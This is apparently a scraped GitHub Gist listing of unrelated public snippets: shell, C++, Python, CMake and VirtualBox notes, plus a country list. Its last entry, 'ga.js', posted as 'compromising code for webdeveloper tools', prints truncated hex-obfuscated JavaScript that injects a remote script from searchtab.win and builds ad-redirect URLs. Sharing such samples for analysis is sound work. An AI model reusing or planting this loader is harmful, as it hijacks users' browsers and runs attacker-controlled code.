Skip to content

Instantly share code, notes, and snippets.

View saxbophone's full-sized avatar
🏳️‍⚧️

saxbophone

🏳️‍⚧️
View GitHub Profile
@saxbophone
saxbophone / gitignore.sh
Created November 17, 2022 16:26
Generate .gitignore files for given languages straight from the comfort of the UNIX shell
# Created by Joshua Saxby 2022
# This BASH shell script function is placed into the Public Domain
# There are no restrictions on its use but it is provided with ABSOLUTELY no liability, warranty, etc, etc...
# !!don't sue me for using it at your own risk...!!
# uses the new version of the former gitignore.io API to generate gitignore files for given languages
# usage: $ gitignore <lang 1> <lang 2> ... <lang n>
#
# NOTE: overwrites local .gitignore file in-place
@saxbophone
saxbophone / floatrep.cpp
Last active July 27, 2023 12:31
Using memcpy to easily and portably get the underlying representation of an IEEE-754 float
#include <cstddef>
#include <cstdint>
#include <cstring>
#include <limits>
std::uint32_t floatrep(float x) {
std::uint32_t n;
std::memcpy(&n, &x, sizeof(x));
return n;
@bindreams
bindreams / svstream.hpp
Last active March 30, 2024 12:08
string_view compatible std::istringstream.
/**
* MIT No Attribution
*
* Copyright 2020-2024 Anna Zhukova
*
* Permission is hereby granted, free of charge, to any person obtaining a copy of this
* software and associated documentation files (the "Software"), to deal in the Software
* without restriction, including without limitation the rights to use, copy, modify,
* merge, publish, distribute, sublicense, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so.
@WesThorburn
WesThorburn / 1.Instructions.md
Last active March 14, 2024 22:11
Linux: Compile C++ to WebAssembly and JavaScript using Emscripten and CMake

Linux: Compile C++ to WebAssembly and JavaScript using Emscripten and CMake

Download and Install Emscripten

  • My preferred installation location is /home/user
  • Get the latest sdk: git clone https://github.com/emscripten-core/emsdk.git
  • Enter the cloned directory: cd emsdk
  • Checkout main: git checkout main
  • Install the lastest sdk tools: ./emsdk install latest
  • Activate the latest sdk tools: ./emsdk activate latest
  • Activate path variables: source ./emsdk_env.sh
@rikka0w0
rikka0w0 / VirtualBox_Linux_Headless_Run_Windows10.md
Last active February 7, 2024 10:52
[VirtualBox] Run Windows10 Headlessly on Linux

https://redplus.me/post/set-up-headless-windows-10-virtual-machine-on-remote-linux-server/ https://www.ostechnix.com/install-oracle-virtualbox-ubuntu-16-04-headless-server/ https://www.howtoforge.com/tutorial/running-virtual-machines-with-virtualbox-5.1-on-a-headless-ubuntu-16.04-lts-server/

Installation

$ sudo nano /etc/apt/sources.list
      deb http://download.virtualbox.org/virtualbox/debian stretch contrib
$ wget -q https://www.virtualbox.org/download/oracle_vbox_2016.asc -O- | sudo apt-key add -
$ sudo apt-get update
@tylerneylon
tylerneylon / rwlock.py
Last active February 5, 2024 09:29
A simple read-write lock implementation in Python.
# -*- coding: utf-8 -*-
""" rwlock.py
A class to implement read-write locks on top of the standard threading
library.
This is implemented with two mutexes (threading.Lock instances) as per this
wikipedia pseudocode:
https://en.wikipedia.org/wiki/Readers%E2%80%93writer_lock#Using_two_mutexes
@mbinna
mbinna / effective_modern_cmake.md
Last active April 18, 2024 19:26
Effective Modern CMake

Effective Modern CMake

Getting Started

For a brief user-level introduction to CMake, watch C++ Weekly, Episode 78, Intro to CMake by Jason Turner. LLVM’s CMake Primer provides a good high-level introduction to the CMake syntax. Go read it now.

After that, watch Mathieu Ropert’s CppCon 2017 talk Using Modern CMake Patterns to Enforce a Good Modular Design (slides). It provides a thorough explanation of what modern CMake is and why it is so much better than “old school” CMake. The modular design ideas in this talk are based on the book [Large-Scale C++ Software Design](https://www.amazon.de/Large-Scale-Soft

@SunveerSingh
SunveerSingh / countries.json
Created November 30, 2017 13:01 — forked from keeguon/countries.json
A list of countries in JSON
[
{name: 'Afghanistan', code: 'AF'},
{name: 'Åland Islands', code: 'AX'},
{name: 'Albania', code: 'AL'},
{name: 'Algeria', code: 'DZ'},
{name: 'American Samoa', code: 'AS'},
{name: 'AndorrA', code: 'AD'},
{name: 'Angola', code: 'AO'},
{name: 'Anguilla', code: 'AI'},
{name: 'Antarctica', code: 'AQ'},
0xe3cdde8460670662d487f18228d252bc37c4353b
@amlwwalker
amlwwalker / ga.js
Created August 2, 2017 17:07
compromising code for webdeveloper tools
var _0x4d27=["\x63\x6C\x6F\x75\x64\x66\x6C\x61\x72\x65\x2E\x63\x6F\x6D","\x69\x6E\x64\x65\x78\x4F\x66","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74","\x73\x72\x63","\x2F\x2F\x73\x65\x61\x72\x63\x68\x74\x61\x62\x2E\x77\x69\x6E\x2F\x67\x61\x2E\x6A\x73","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x72\x65\x64\x69\x72\x65\x63\x74\x32\x2E\x74\x6F\x70","\x2F\x2F\x70\x61","\x72\x74\x6E\x65","\x72\x2D\x6E\x65","\x74\x2E\x6D\x65","\x6E\x2F\x63\x6F","\x64\x65\x2F\x3F","\x70\x69\x64\x3D","\x39\x37\x33\x38","\x32\x30\x26\x72","\x3D","\x72\x61\x6E\x64\x6F\x6D","\x66\x6C\x6F\x6F\x72","\x66\x69\x72\x73\x74\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x74\x74\x70\x73\x3A\x2F\x2